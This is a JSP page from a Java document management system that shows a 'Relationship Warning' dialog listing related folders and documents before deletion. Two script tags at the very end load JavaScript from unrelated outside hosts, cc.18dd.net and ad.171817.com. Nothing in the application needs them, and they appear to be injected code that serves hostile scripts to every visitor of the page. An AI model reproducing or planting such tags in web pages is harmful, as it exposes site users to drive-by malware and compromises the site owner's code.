<%@ page language="java" contentType="text/html; charset=utf-8" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.framework.*" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<%
  String relatedFolderNum = Utility.isEmpty(request.getParameter("relatedFolderNum")) ? "" : request.getParameter("relatedFolderNum");
  String relatedDocumentNum = Utility.isEmpty(request.getParameter("relatedDocumentNum")) ? "" : request.getParameter("relatedDocumentNum");
%>

<html:form action="dms/RelationshipWarning" onsubmit="return(false);">
<%
	Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
	PermissionManager permissionManager = sessionContainer.getPermissionManager();
	
	List hasRelatedDocument = (ArrayList)request.getAttribute("RelationshipWarningList");
	int folder  = 0;
	int document = 0;
	for (int i = 0; i < hasRelatedDocument.size(); i++ ){
		DmsDocument tmpDocument = (DmsDocument)hasRelatedDocument.get(i);
		if (!Utility.isEmpty(tmpDocument)) {
			if (DmsDocument.FOLDER_TYPE.equals(tmpDocument.getDocumentType())){
				folder++;
			} else {
				document++;
			}
		}
	}
	String hasRelatedFolderNum = "" + folder;
	String hasRelatedDocumentNum = "" + document;
%>



<table border="0" width="300" cellpadding="0" cellspacing="0">
<tr>
<td>
<layout:titleFormat>
<font class="pageTitle">Relationship Warning</font>
</layout:titleFormat>
</td>
</tr>
<tr>
<td>&nbsp;
</td>
</tr>
<tr>
<td>
  <%
    StringBuffer tips = new StringBuffer();
    tips.append("&nbsp;&nbsp;&nbsp;&nbsp;");
    tips.append(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.message.relationship_warning_1"));
    if (Integer.parseInt(relatedFolderNum) > 0){
      tips.append(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.message.relationship_warning_6",relatedFolderNum));
      if (Integer.parseInt(relatedDocumentNum) > 0){
        //tips.append(" and " + relatedDocumentNum + " document(s).");
        tips.append(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.message.relationship_warning_7",relatedDocumentNum));
        tips.append(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.message.relationship_warning_2"));
      } else {
        tips.append(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.message.relationship_warning_2"));
      }
    } else if (Integer.parseInt(relatedDocumentNum) > 0){
      tips.append(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.message.relationship_warning_8",relatedDocumentNum));
      tips.append(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.message.relationship_warning_2"));
    }
    if (relatedFolderNum.equals(hasRelatedFolderNum) && relatedDocumentNum.equals(hasRelatedDocumentNum)) {
      if ((Integer.parseInt(relatedFolderNum) + Integer.parseInt(relatedDocumentNum)) > 1) {
        tips.append(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.message.relationship_warning_3"));
      } else {
        tips.append(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.message.relationship_warning_4"));
      }
    } else {
      tips.append(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.message.relationship_warning_5"));
      if (Integer.parseInt(hasRelatedFolderNum) > 0){
        tips.append(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.message.relationship_warning_6", hasRelatedFolderNum));
        if (Integer.parseInt(hasRelatedDocumentNum) > 0){
          tips.append(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.message.relationship_warning_7", hasRelatedDocumentNum));
        }
      } else if (Integer.parseInt(hasRelatedDocumentNum) > 0){
        tips.append(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.message.relationship_warning_8", hasRelatedDocumentNum));
      }
      if ((Integer.parseInt(hasRelatedFolderNum) + Integer.parseInt(hasRelatedDocumentNum)) > 1) {
        tips.append(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.message.relationship_warning_9"));
      } else {
        tips.append(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.message.relationship_warning_10"));
      }
    }
  %>
  <table border="0" width="300" cellpadding="0" cellspacing="0">
  <tr>
  <td width="5%">
  </td>
  <td>
    <%=tips.toString()%>
  </td>
  <td width="5%">
  </td>
  </tr>
  </table>
</td>
<tr>
<td>&nbsp;
</td>
</tr>
<tr>
<td>
	<table width="100%" border="0" cellspacing="0" cellpadding="0">
	<tr>
	<td width="5%">
	</td>
	<td>
		<div style="background:#FFFFFF; width:264px; height:180px; position:inherit; z-index:auto; overflow:auto;">
			<table width="100%" border="0" cellspacing="0" cellpadding="0">
				<%
					for(int i=0;i<hasRelatedDocument.size();i++){
						DmsDocument dmsDocument = (DmsDocument)hasRelatedDocument.get(i);
    				String permission = permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, dmsDocument.getID());
				%>
					<tr>
						<td>
			              <input type="checkbox" name="exSelectedID" checked="checked" value="<%=dmsDocument.getID()%>"/>
							&nbsp;<dms:documentInfo docObject='<%=dmsDocument%>' permission='<%=permission%>' onClick='false' isOverLib='true'/>
						</td>
					</tr>
				<%
					}
				%>
			</table>
		</div>
	</td>
	<td width="5%">
	</td>
	</tr>
	</table>
</td>
</tr>
<tr>
<td>&nbsp;
</td>
</tr>
<tr>
<td align="right">
<table align="left" border="0"><tr>
  <td><html:standardButton label="common.label.delete" onClick="javascript:doDeleteAction(false);"/></td>
  <td><html:standardButton label="common.label.close" onClick="javascript:hideRelationshipDialog();"/></td>
</tr></table>
</td>
</tr>
</table>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>